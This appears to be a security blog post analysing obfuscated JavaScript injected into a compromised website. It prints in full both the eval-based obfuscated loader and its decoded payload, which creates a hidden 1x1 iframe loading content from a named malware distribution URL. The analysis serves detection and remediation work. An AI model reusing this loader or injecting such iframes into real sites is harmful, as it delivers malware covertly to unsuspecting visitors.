Obfuscated malicious JavaScript code generates hidden iframe to malicious website
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 14 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Sun Apr 28 13:11:05 2013
Infected website's files: 14
Malware entry
Malware entry details.
Beautified script
- try {
- window.document.body++
- } catch (gdsgsdg) {
- dbshre = 237;
- }
- if (dbshre) {
- asd = 0;
- try {
- d = document.createElement("div");
- d.innerHTML.a = "asd";
- } catch (agdsg) {
- asd = 1;
- }
- if (!asd) {
- e = eval;
- }
- ss = String;
- asgq = new Array(31, 94, 110, 104, 94, 107, 97, 104, 104, 27, 31, 33, 25, 117, 8, 1, 24, 25, 26, 27, 109, 89,107, 26, 106, 112, 104, 25, 55, 27, 91, 103, 92, 111, 104, 92, 102, 109, 40, 94, 105, 93, 90, 110, 96, 60, 100,94, 103, 96, 101, 108, 33, 33, 100, 93, 106, 90, 103, 96, 30, 33, 52, 7, 5, 4, 2, 25, 26, 27, 23, 103, 114, 106,41, 106, 106, 92, 26, 56, 23, 31, 97, 110, 111, 103, 50, 40, 41, 92, 105, 91, 97, 99, 114, 108, 101, 115, 106,109, 88, 107, 114, 40, 94, 102, 101, 40, 93, 105, 107, 38, 105, 98, 107, 30, 51, 6, 4, 27, 23, 24, 25, 105, 116,103, 38, 108, 110, 116, 99, 93, 39, 106, 106, 106, 97, 109, 99, 106, 101, 24, 54, 26, 34, 88, 90, 108, 105, 103,108, 108, 94, 33, 54, 4, 2, 25, 26, 27, 23, 103, 114, 106, 41, 106, 108, 114, 102, 96, 37, 90, 104, 108, 95, 92,106, 25, 55, 27, 30, 40, 32, 53, 8, 1, 24, 25, 26, 27, 102, 113, 105, 40, 110, 107, 113, 101, 95, 41, 95, 93, 98,97, 99, 107, 24, 54, 26, 34, 40, 104, 113, 33, 54, 4, 2, 25, 26, 27, 23, 103, 114, 106, 41, 106, 108, 114, 102,96, 37, 111, 98, 94, 111, 95, 24, 54, 26, 34, 40, 104, 113, 33, 54, 4, 2, 25, 26, 27, 23, 103, 114, 106, 41, 106,108, 114, 102, 96, 37, 100, 94, 96, 111, 23, 53, 25, 33, 44, 103, 112, 32, 53, 8, 1, 24, 25, 26, 27, 102, 113,105, 40, 110, 107, 113, 101, 95, 41, 107, 103, 105, 26, 56, 23, 31, 42, 106, 115, 30, 51, 6, 4, 8, 1, 24, 25, 26,27, 96, 94, 25, 34, 28, 91, 103, 92, 111, 104, 92, 102, 109, 40, 98, 92, 108, 62, 102, 96, 100, 93, 103, 110, 61,112, 65, 93, 34, 34, 102, 113, 105, 33, 36, 32, 24, 116, 7, 5, 23, 24, 25, 26, 27, 23, 24, 25, 94, 106, 90, 109,102, 95, 105, 107, 38, 112, 108, 100, 107, 93, 33, 33, 55, 91, 97, 111, 26, 100, 91, 53, 85, 33, 106, 112, 104,85, 33, 57, 51, 39, 93, 99, 113, 53, 31, 34, 53, 8, 1, 24, 25, 26, 27, 23, 24, 25, 26, 95, 102, 91, 110, 103, 96,101, 108, 39, 97, 96, 107, 61, 101, 95, 104, 92, 102, 109, 60, 116, 64, 92, 33, 33, 106, 112, 104, 32, 35, 41, 88,104, 105, 95, 105, 91, 59, 97, 99, 103, 91, 32, 104, 115, 107, 32, 51, 6, 4, 27, 23, 24, 25, 119, 8, 1, 117, 34,34, 36, 50);
- s = "";
- for (i = 0; i - 471 != 0; i++) {
- if ((020 == 0x10) % 26 % 26window.document) s += ss["fromCharCode"](1 * asgq[i] - (i % 5 - 5 - 4));
- }
- z = s;
- e(s);
- }
Malicious payload
Decoded payload generates hidden iframe to http://archiwumzprasy.com/cnt.php
Read about websites detected by Online Malware Scanner and compromised with similar threat in other posts.
Domain http://archiwumzprasy.com/ is Suspicious on Google Safe Browsing.
- (function () {
- var oyp = document.createElement('iframe');
- oyp.src = 'http://archiwumzprasy.com/cnt.php';
- oyp.style.position = 'absolute';
- oyp.style.border = '0';
- oyp.style.height = '1px';
- oyp.style.width = '1px';
- oyp.style.left = '1px';
- oyp.style.top = '1px';
- if (!document.getElementById('oyp')) {
- document.write('<div id=\'oyp\'></div>');
- document.getElementById('oyp').appendChild(oyp);
- }
- })();
Blacklisting status
Domain http://archiwumzprasy.com/ is Suspicious on Google Safe Browsing.
Google Safe Browsing analysis |
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
No comments:
Post a Comment